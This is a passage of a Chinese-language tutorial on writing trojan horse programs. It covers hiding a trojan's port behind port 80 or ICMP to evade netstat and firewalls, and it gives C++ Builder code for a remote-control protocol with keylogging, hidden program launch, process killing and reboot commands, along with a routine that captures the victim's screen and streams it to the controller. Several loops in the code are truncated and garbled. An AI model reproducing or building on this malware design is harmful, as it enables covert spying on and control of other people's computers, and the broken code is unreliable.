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木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常
是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但
是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令
行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。
C:\Documents and Settings\bigball>netstat -n
Active Connections
Proto Local Address Foreign Address State
TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED
TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED
TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED
TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED
TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT
TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED
TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT
C:\Documents and Settings\bigball>netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP Liumy:echo Liumy:0 LISTENING
TCP Liumy:discard Liumy:0 LISTENING
TCP Liumy:daytime Liumy:0 LISTENING
TCP Liumy:qotd Liumy:0 LISTENING
TCP Liumy:chargen Liumy:0 LISTENING
TCP Liumy:epmap Liumy:0 LISTENING
TCP Liumy:microsoft-ds Liumy:0 LISTENING
TCP Liumy:1025 Liumy:0 LISTENING
TCP Liumy:1026 Liumy:0 LISTENING
TCP Liumy:1031 Liumy:0 LISTENING
TCP Liumy:1032 Liumy:0 LISTENING
TCP Liumy:1112 Liumy:0 LISTENING
TCP Liumy:1135 Liumy:0 LISTENING
TCP Liumy:1142 Liumy:0 LISTENING
TCP Liumy:1801 Liumy:0 LISTENING
TCP Liumy:3372 Liumy:0 LISTENING
TCP Liumy:3389 Liumy:0 LISTENING
TCP Liumy:netbios-ssn Liumy:0 LISTENING
TCP Liumy:1028 Liumy:0 LISTENING
TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB
TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI
TCP Liumy:1135 202.130.239.223:http ESTABLISHED
TCP Liumy:1142 202.130.239.223:http ESTABLISHED
TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT
TCP Liumy:1170 202.130.239.133:http TIME_WAIT
TCP Liumy:2103 Liumy:0 LISTENING
TCP Liumy:2105 Liumy:0 LISTENING
TCP Liumy:2107 Liumy:0 LISTENING
UDP Liumy:echo *:*
UDP Liumy:discard *:*
UDP Liumy:daytime *:*
UDP Liumy:qotd *:*
UDP Liumy:chargen *:*
UDP Liumy:epmap *:*
UDP Liumy:snmp *:*
UDP Liumy:microsoft-ds *:*
UDP Liumy:1027 *:*
UDP Liumy:1029 *:*
UDP Liumy:3527 *:*
UDP Liumy:4000 *:*
UDP Liumy:4001 *:*
UDP Liumy:1033 *:*
UDP Liumy:1148 *:*
UDP Liumy:netbios-ns *:*
UDP Liumy:netbios-dgm *:*
UDP Liumy:isakmp *:*
但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并
端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起
来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马
端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而
达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)
协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很
多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,
从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网
络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:
5、发送数据的组织方法
关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,
以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木
马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包
装一些协议:
typedef struct{ //定义消息结构
//char ip[20];
char Type; //消息种类
char Password[20]; //密码
int CNum; //消息操作号
//int Length; //消息长度
}Msg;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//对话框数据包定义:Dlg_Msg_Type.h
//-------------------------------------------
//定义如下消息类型:
#define MsgDlgCommon 4//连接事件
#define MsgDlgSend 5//发送完成事件
//消息结构
typedef struct{
char Name[20];//对话框标题
char Msg[256];//对话框消息内容
}MsgDlgUint;
#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度
//------------------------------------------
//聊天数据包定义:Chat_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgChatCommon 0//连接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//结束事件
#define MsgChatReceived 16//确认对话内容收到
//消息结构
typedef struct{
char ClientName[20];//Client自定义的名称
char Msg[256];//发送的消息
}MsgChatUint;
#define MsgChatLen sizeof(MsgChatUint)//消息单元长度
//------------------------------------------
//重启数据包定义:Reboot_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgReBoot 15//重启事件
//------------------------------------------
//目录结构请求数据包定义:Dir_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目录名
}MsgDirUint;
#define MsgDirUintLen sizeof(MsgDirUint)
// TCP的Msg
typedef struct{ //定义消息结构
char SType; //消息种类
char SPassword[20]; //密码
//int SNum; //消息操作号
char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)
#define MSGListProgram 19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey 23
#define MSGTracekey 24
#define MsgCopyScreen 25//tcp接收消息,udp请求消息
#define MSGCopyWindow 26
//-------------------------
//鼠标指针隐藏和显示控制
//-------------------------
#define MsgSetMouseStat 27//设置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow;
}MsgSetMouseStatUint;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
//-------------------------
//任务栏隐藏和显示控制
//-------------------------
#define MsgSetTaskBarStat 29//设置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
bool taskshow;
}MsgSetTaskBarStatUint;
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
//-------------------------
//得到机器名
//-------------------------
#define MsgGetNetBiosName 31//取请求
#define MsgNetBiosName 32//回送机器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
//-------------------------
//关闭进程变更!
//-------------------------
#define MsgSetProgramClose 33//关闭请求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
//-------------------------
//打开进程变更!
//-------------------------
#define MsgSetProgramOpen 20//打开请求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序
的名字
bool ProgramShow;//前台运行或后台运行程序(隐藏运行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)
上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗
的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的
密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它
的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一
办法来校验消息的。
数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为
一个VOID类型的数据流,然后发送:
Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="机器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}
当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给
出事例代码:
NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}
此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回
传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变
部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:
#define MAXXCount 10 //屏幕X方向最多分割块数
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每块的偏移检测点最大个数
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后执行:
//另外:接收到的数据包中分析出 Dnum ,Qlity
//Dnum:偏移观测点数量
//Qlity:图象要求质量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只执行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
//DNum: 偏移量 Qlity:图象质量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x]
[nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}
int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
MaxCNum=0;
for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum>MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}
这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分
的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传
送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看
地震让大伙知道:居安思危,才是生存之道。